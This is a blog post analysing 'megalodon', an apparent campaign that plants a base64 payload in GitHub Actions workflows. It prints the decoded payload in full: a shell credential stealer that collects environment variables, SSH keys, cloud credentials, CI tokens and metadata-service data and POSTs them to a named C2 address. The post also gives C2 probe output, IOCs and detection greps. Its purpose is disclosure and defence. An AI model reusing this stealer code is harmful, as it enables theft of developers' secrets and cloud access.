There's a fish in my git

There's a fish in my git

Sometimes, when I've had enough of package manager supply-chain attacks, I like to browse twitter.com. And sometimes, I see something good - like this.

A brand new mass compromise affecting thousands of Github repos. So I do what I always do in a situation like this, and download some malware.

ci: add build optimization step ยท Tiledesk/tiledesk-server@acac5a9
Tiledesk Server is the main API component of the Tiledesk platform ๐Ÿš€ Tiledesk is an open-source alternative to Voiceflow, allowing you to build advanced LLM-powered agents with easy human-in-the-loop (HITL) when necessary. - ci: add build optimization step ยท Tiledesk/tiledesk-server@acac5a9

Ah. That looks promising

A nice blob of base64 piped to bash in a pipeline run. Let's decode it and get stuck in.

CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=4ny72dgixww6"
DID="4ny72dgixww6"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
REGEX=$(printf '%s' 'QUtJQVtBLVowLTldezE2fXxBU0lBW0EtWjAtOV17MTZ9fCg/OnNrfHJrfHJhaylfKD86bGl2ZXx0ZXN0KV9bQS1aYS16MC05XXsyNCwyMDB9fHdoc2VjX1tBLVphLXowLTldezI0LDIwMH18U0dcLltBLVphLXowLTlfXC1dezIyfVwuW0EtWmEtejAtOV9cLV17NDN9fHhrZXlzaWItW2EtekEtWjAtOV17NjR9LVthLXpBLVowLTldezE2fXxbMC05YS1mXXszMn0tKD86dXN8ZXUpXGR7MSwyfXxrZXktW2EtejAtOV17MzJ9fG1kLVthLXpBLVowLTlfXC1dezIyfXxnaFtwb3Vzcl1fW0EtWmEtejAtOV9dezM2fXxnaXRodWJfcGF0X1tBLVphLXowLTlfXXs4Mn18KD86Z2xwYXR8Z2xkdHxnbHJ0fGdsY2J0fGdscHR0fGdsc29hdHxnbGFnZW50fGdsZnR8Z2xpbXR8Z2x3dHxnbHB0bXxnbG9hc3xnbGZmY3QpLVtBLVphLXowLTlfXC1dezIwLH18R1IxMzQ4OTQxW0EtWmEtejAtOV9cLV17MjAsfXxBVEJCW0EtWmEtejAtOV17MjR9W0EtRmEtZjAtOV17OH18QVRBVFQzeEZmR0YwW0EtWmEtejAtOV89XC1dezMwLDQwMH18QVRDVFQzeEZmR04wW0EtWmEtejAtOV89XC1dezMwLDQwMH18SFJLVS1BQVswLTlBLVphLXpfXC1dezU4fXx4b3hbYnBhc10tW0EtWmEtejAtOVwtXXsxMCx9fG5wbV9bQS1aYS16MC05XXszNn18cHlwaS1BZ0VJY0hsd2FTNXZjbWNbQS1aYS16MC05X1wtXXs1MCx9fGRvW3Bvcl1fdjFfW2EtZjAtOV17NjR9fGRwXC4oPzpwdHxzdHxzYXxjdHxzY2ltfGF1ZGl0KVwuW0EtWmEtejAtOV9cLVwuXXs0MCx9fCg/OmJrdWF8YmthdClfW0EtWmEtejAtOV17NDAsfXxwdWwtW2EtZjAtOV17NDB9fHYxXC4wLVtBLVphLXowLTlfXC1dezE3MX18UE1BSy1bQS1aYS16MC05X1wtXXszMCx9fFthLXowLTldezUyfXxbQS1aYS16MC05X34uXC1dezN9XGRRfltBLVphLXowLTlffi5cLV17MzEsMzR9fFw/c3Y9XGR7NH0tXGR7Mn0tXGR7Mn0mW15cIlxzJ117MTAsMzAwfSZzaWc9W0EtWmEtejAtOSUvKz1dezIwLH18ZXlKW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfXwoPzptb25nb2RiKD86XCtzcnYpP3xwb3N0Z3Jlcyg/OnFsKT98bXlzcWx8cmVkaXMoPzpzKT98bXNzcWx8YW1xcHM/KTovL1teXHNcIiddezEwLDMwMH18LS0tLS1CRUdJTiAoPzpSU0EgKT9QUklWQVRFIEtFWS0tLS0tfCg/OkFXU19TRUNSRVRfQUNDRVNTX0tFWXxHSVRIVUJfVE9LRU58R0lUTEFCX1RPS0VOfFNMQUNLX1RPS0VOfERBVEFCQVNFX1VSTHxQUklWQVRFX0tFWXxTRUNSRVRfS0VZfEFQSV9LRVl8QVVUSF9UT0tFTik9W15cc1wiJ117OCx9' | base64 -d 2>/dev/null)
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT

_post() {
  local fname="$1" fpath="$2"
  [ -z "$fpath" ] || [ ! -s "$fpath" ] && return
  local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
  [ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
  curl -sS -X POST -m 60     -H 'Content-Type: text/plain'     -H "X-Mega-DID: $DID"     -H "X-Mega-Plat: $PLAT"     -H "X-Mega-File: $fname"     --data-binary @"$fpath"     "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
  sleep $((RANDOM % 2))
}

printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"

[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"

[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"

[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"

for f in   "$HOME/.aws/credentials" "$HOME/.aws/config"   "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config"   "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc"   "$HOME/.git-credentials" "$HOME/.gitconfig"   "$HOME/.config/gcloud/application_default_credentials.json"   "$HOME/.config/gcloud/credentials.db"   "$HOME/.config/gh/hosts.yml"   "$HOME/.kube/config"   "$HOME/.terraform.d/credentials.tfrc.json"   "$HOME/.vault-token"   "$HOME/.config/hub"   "/etc/environment" "/etc/default/locale"   "$HOME/.bash_history" "$HOME/.zsh_history"   "/var/run/secrets/kubernetes.io/serviceaccount/token"   "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
  [ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done

if command -v aws &>/dev/null; then
  profiles=$(aws configure list-profiles 2>/dev/null)
  if [ -n "$profiles" ]; then
    while IFS= read -r prof; do
      [ -z "$prof" ] && continue
      out="$TMP_DIR/aws_$prof.txt"
      {
        echo "===PROFILE:$prof==="
        timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
        echo "---ACCESS_KEY---"
        timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
        echo "---SECRET_KEY---"
        timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
        echo "---SESSION_TOKEN---"
        timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
        echo "---REGION---"
        timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
      } > "$out" 2>&1
      _post "aws_$prof" "$out"
    done <<< "$profiles"
  fi
fi

if command -v gcloud &>/dev/null; then
  gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
  _post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
  timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
  [ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi

find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
  out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
  _post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"

find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \(   -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*"   -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php"   -o -name "application.properties" -o -name "application.yml"   -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml"   -o -name "credentials.json" -o -name "service-account.json"   -o -name "docker-compose.yml" -o -name "docker-compose.yaml"   -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
  _post "find_$(basename "$ef")" "$ef"
done

if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
  find /var/www /opt /srv /home -maxdepth 4 -type f \(     -name ".env" -o -name "*.env" -o -name "wp-config.php"     -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519"     -o -name "*.key" -o -name "*.p12" -o -name "*.pfx"   \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
    [ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
  done
fi

grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
  out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
  [ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done

if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
  printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
  _post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"

curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"

IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
  curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
  [ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  _post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi

curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"

OK so right at the top we have everything we need. The campaign is called megalodon.

Each compromised repo gets its own `DID`, a short random ID used to track which victim sent which file on the server side. This one is `4ny72dgixww6`. The C2 is a plain HTTP server at 216.126.225.129:8443.

There's another long base64 string in there. Let's decode that too.

AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}|(?:sk|rk|rak)_(?:live|test)_[A-Za-z0-9]{24,200}|whsec_[A-Za-z0-9]{24,200}|SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}|xkeysib-[a-zA-Z0-9]{64}-[a-zA-Z0-9]{16}|[0-9a-f]{32}-(?:us|eu)\d{1,2}|key-[a-z0-9]{32}|md-[a-zA-Z0-9_\-]{22}|gh[pousr]_[A-Za-z0-9_]{36}|github_pat_[A-Za-z0-9_]{82}|(?:glpat|gldt|glrt|glcbt|glptt|glsoat|glagent|glft|glimt|glwt|glptm|gloas|glffct)-[A-Za-z0-9_\-]{20,}|GR1348941[A-Za-z0-9_\-]{20,}|ATBB[A-Za-z0-9]{24}[A-Fa-f0-9]{8}|ATATT3xFfGF0[A-Za-z0-9_=\-]{30,400}|ATCTT3xFfGN0[A-Za-z0-9_=\-]{30,400}|HRKU-AA[0-9A-Za-z_\-]{58}|xox[bpas]-[A-Za-z0-9\-]{10,}|npm_[A-Za-z0-9]{36}|pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\-]{50,}|do[por]_v1_[a-f0-9]{64}|dp\.(?:pt|st|sa|ct|scim|audit)\.[A-Za-z0-9_\-\.]{40,}|(?:bkua|bkat)_[A-Za-z0-9]{40,}|pul-[a-f0-9]{40}|v1\.0-[A-Za-z0-9_\-]{171}|PMAK-[A-Za-z0-9_\-]{30,}|[a-z0-9]{52}|[A-Za-z0-9_~.\-]{3}\dQ~[A-Za-z0-9_~.\-]{31,34}|\?sv=\d{4}-\d{2}-\d{2}&[^\"\s']{10,300}&sig=[A-Za-z0-9%/+=]{20,}|eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}|(?:mongodb(?:\+srv)?|postgres(?:ql)?|mysql|redis(?:s)?|mssql|amqps?)://[^\s\"']{10,300}|-----BEGIN (?:RSA )?PRIVATE KEY-----|(?:AWS_SECRET_ACCESS_KEY|GITHUB_TOKEN|GITLAB_TOKEN|SLACK_TOKEN|DATABASE_URL|PRIVATE_KEY|SECRET_KEY|API_KEY|AUTH_TOKEN)=[^\s\"']{8,}

That one turns out to be a 33-branch regular expression used to scan source code for secrets.


Let's take a look at how it all works.

printenv/proc/self/environ, every /proc/[0-9]*/environ it can read, and /proc/1/environ all get dumped and POSTed. On a GitHub-hosted runner this catches GITHUB_TOKEN, any repo secrets you've mapped into the environment, and ACTIONS_ID_TOKEN_REQUEST_TOKEN.

Next it walks a hardcoded list of 24 paths: AWS credentials, SSH keys, Docker config, .npmrc.netrc.pypirc, git credentials, gcloud application default credentials, the GitHub CLI's hosts.yml, kubeconfig, Terraform Cloud credentials, Vault token, and shell history files.
Each file gets individually POSTed if it exists and is readable.

It goes on to query all three major cloud IMDS endpoints; GCP's metadata server, AWS IMDSv2, and Azure IMDS.
Self hosted runners are not safe from this one.

Finally it runs grep -rIlE "$REGEX" across the entire workspace against 30+ file extensions, extracts 5 lines of context around each match, and ships up to 3000 bytes per hit.

Certainly, there is some serious credential harvesting going on here.

I also looked at the 2nd repo mentioned in the original tweet. The only difference is the DID parameter which I expect is used to differentiate campaign victims.

The attack is still fresh, and the C2 is still active so let's take a look at that too.

PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
53/tcp   open   domain  Unbound
8080/tcp open   http    aiohttp 3.10.11 (Python 3.8)
8443/tcp closed https-alt

Port 8443, the one hardcoded in both payloads is closed as of the time I checked. The listener has moved to 8080.

At the very least that means any repo running this now will fail, although I suspect I may just be too late.

$ curl http://216.126.225.129:8080/

ingest listener OK
Files go to (create automatically):
  /root/cicd/loot/<h>/<id>/<label>_....txt
POST /any ?h=&l=&id=&t=  body=raw bytes
GET /health  (counters + same loot path)
Tip: LISTENER_LOG=1 prints each file to server console (default on).

Fantastic, 8080 is serving something and gives us a couple of hints.

It's rare for a threat actor to return so much information on a curl, so I'm saying this is a vibe code special.

๐Ÿ’ก
"Claude, I am trying to backup my files, can you write me a python server that accepts any data posted to it to the disk, expect the following parameters..."

It even has a /health endpoint.

$ curl http://216.126.225.129:8080/health

{
  "status": "ok",
  "loot": "/root/cicd/loot",
  "in_flight": 0,
  "queue_limit": 1000000,
  "ok": 575352,
  "bytes": 449586359509,
  ...
}

ok: 575352. That's 575,352 files received. bytes: 449586359509 โ€” 449 GB of stolen credentials, source code secrets, SSH keys, and cloud tokens, sitting on a VPS in Ashburn, Virginia.

Polling again 3 minutes later:

"ok": 577717,
"bytes": 462011003956

+2,365 files and +12 GB in under three minutes. That works out to roughly 15 files per second, 80 MB/s, ~289 GB per hour.

The campaign is very much still running.


We could stop here, now we understand what this does and what is getting stolen. But what about that C2?

The server is hosted on Cloudzy via RouterHosting (AS14956).

If you've been on cybersec twitter for long enough, you will have seen many people complain about Cloudzy. It's a cheap, fast, crypto-acceping, no-fuss VPS provider.

The "no fuss" part is doing a lot of work in that sentence.
In practice it's become a reliable choice for threat actors who need infrastructure that won't disappear on them the moment someone files an abuse report.

In August 2023, Halcyon published a detailed report documenting Cloudzy's role as what they called a "criminal cloud provider." They identified active infrastructure on Cloudzy being used by at least 17 different threat actor groups, including LockBit, ALPHV/BlackCat, Royal, Akira, and BianLian ransomware operations, as well as state-sponsored APT groups. They estimated that roughly 40% of Cloudzy's active servers at the time were being used for malicious purposes. You should read that report, which can be found here.

The ownership angle is interesting too. Cloudzy is incorporated in the United States but has been credibly linked to an Iranian company called abrNOC. Microsoft and Citizen Lab have both documented Cloudzy infrastructure being used by Iranian state-linked threat actors.

The company has consistently denied these allegations and claimed it has abuse controls in place.

The 577,000-file credential dump sitting on one of their servers today suggests those controls aren't particularly effective.

RouterHosting (AS14956) is a reseller layer on top of Cloudzy's infrastructure โ€” a common pattern where the actual hosting relationship is one step removed, which can slow down takedown requests further.


IOCs & TTPs

IOCs

IP:       216[.]126[.]225[.]129
Port:     8443  (hardcoded in payloads โ€” dead)
Port:     8080  (live listener as of 2026-05-21)
Campaign: megalodon
DIDs:     hefs8esnhgkx  (Tiledesk)
          4ny72dgixww6  (GEOREFERENCIADOS)
Email:    ci-bot[@]automated[.]dev
ASN:      AS14956 RouterHosting / Cloudzy, Ashburn VA

What to do if you think you're affected

Check your Actions run history for any Optimize-Build workflow executions. If you find one, assume everything is compromised: rotate all repo secrets, revoke OAuth apps with write access, check your deploy keys, and audit any cloud roles attached to your runners.

If you want to check whether your repo has been hit with this template:

grep -r "Optimize-Build" .github/workflows/
grep -r "216\.126\.225\.129" .github/workflows/
grep -rE 'echo "[A-Za-z0-9+/]{200,}" \| base64 -d' .github/workflows/

Thanks for reading, be sure to leave a comment if you have any thoughts. Check out my other posts on veryserious.systems